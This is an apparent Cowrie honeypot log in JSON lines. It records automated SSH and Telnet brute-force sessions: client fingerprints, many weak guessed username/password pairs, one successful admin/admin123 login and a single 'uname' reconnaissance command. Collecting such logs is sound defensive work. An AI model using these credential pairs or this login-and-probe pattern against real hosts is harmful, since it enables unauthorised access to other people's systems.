{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:16.669891Z","src_ip":"45.156.87.147","session":"12c18bc811b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:16.924031Z","src_ip":"45.156.87.147","session":"12c18bc811b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:16.983447Z","src_ip":"91.92.42.227","session":"79cfae3d8c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:18.012131Z","src_ip":"45.156.87.147","session":"12c18bc811b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59136,"dst_ip":"10.17.0.5","dst_port":22,"session":"664082c569bd","protocol":"ssh","message":"New connection: 91.92.42.227:59136 (10.17.0.5:22) [session: 664082c569bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:18.473655Z"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:18.896461Z","src_ip":"91.92.42.227","session":"79cfae3d8c33","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:19.888080Z","src_ip":"91.92.42.227","session":"664082c569bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:19.891827Z","src_ip":"91.92.42.227","session":"664082c569bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32786,"dst_ip":"10.17.0.5","dst_port":22,"session":"659d98908a17","protocol":"ssh","message":"New connection: 45.156.87.147:32786 (10.17.0.5:22) [session: 659d98908a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:21.618636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:21.623032Z","src_ip":"45.156.87.147","session":"659d98908a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:21.707393Z","src_ip":"45.156.87.147","session":"659d98908a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234567890","message":"login attempt [minecraft/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:21.959952Z","src_ip":"45.156.87.147","session":"659d98908a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:23.046773Z","src_ip":"45.156.87.147","session":"659d98908a17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38358235359192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:23.184293Z","src_ip":"39.185.15.64","session":"3ddd363107b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:24.511849Z","src_ip":"91.92.42.227","session":"664082c569bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43826,"dst_ip":"10.17.0.5","dst_port":22,"session":"14274915f4ac","protocol":"ssh","message":"New connection: 91.92.42.227:43826 (10.17.0.5:22) [session: 14274915f4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:24.912840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:26.387329Z","src_ip":"91.92.42.227","session":"14274915f4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:26.391682Z","src_ip":"91.92.42.227","session":"14274915f4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":32810,"dst_ip":"10.17.0.5","dst_port":22,"session":"6038113e7be5","protocol":"ssh","message":"New connection: 45.156.87.147:32810 (10.17.0.5:22) [session: 6038113e7be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:26.853445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:26.908434Z","src_ip":"45.156.87.147","session":"6038113e7be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:26.964501Z","src_ip":"45.156.87.147","session":"6038113e7be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:27.241398Z","src_ip":"91.92.42.227","session":"664082c569bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:27.260784Z","src_ip":"45.156.87.147","session":"6038113e7be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:28.346292Z","src_ip":"45.156.87.147","session":"6038113e7be5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43866,"dst_ip":"10.17.0.5","dst_port":22,"session":"1da742ede7cd","protocol":"ssh","message":"New connection: 91.92.42.227:43866 (10.17.0.5:22) [session: 1da742ede7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:31.495574Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:31.613608Z","src_ip":"91.92.42.227","session":"14274915f4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59072,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0ad57bfefd1","protocol":"ssh","message":"New connection: 45.156.87.147:59072 (10.17.0.5:22) [session: e0ad57bfefd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:31.921179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:31.926427Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.076219Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.328053Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.539424Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.542210Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.627257Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.631878Z","src_ip":"45.156.87.147","session":"e0ad57bfefd1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.634877Z","src_ip":"91.92.42.227","session":"1da742ede7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:32.637531Z","src_ip":"91.92.42.227","session":"1da742ede7cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:34.511479Z","src_ip":"91.92.42.227","session":"14274915f4ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59082,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e62290a8c9","protocol":"ssh","message":"New connection: 45.156.87.147:59082 (10.17.0.5:22) [session: a8e62290a8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:37.130388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:37.135839Z","src_ip":"45.156.87.147","session":"a8e62290a8c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:37.201233Z","src_ip":"91.92.42.227","session":"1da742ede7cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:37.218342Z","src_ip":"45.156.87.147","session":"a8e62290a8c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwerty123","message":"login attempt [test/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:37.478305Z","src_ip":"45.156.87.147","session":"a8e62290a8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:38.653250Z","src_ip":"45.156.87.147","session":"a8e62290a8c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:38.721444Z","src_ip":"91.92.42.227","session":"1da742ede7cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40870,"dst_ip":"10.17.0.5","dst_port":22,"session":"73850ccfbc3b","protocol":"ssh","message":"New connection: 91.92.42.227:40870 (10.17.0.5:22) [session: 73850ccfbc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:51:40.535184Z"}
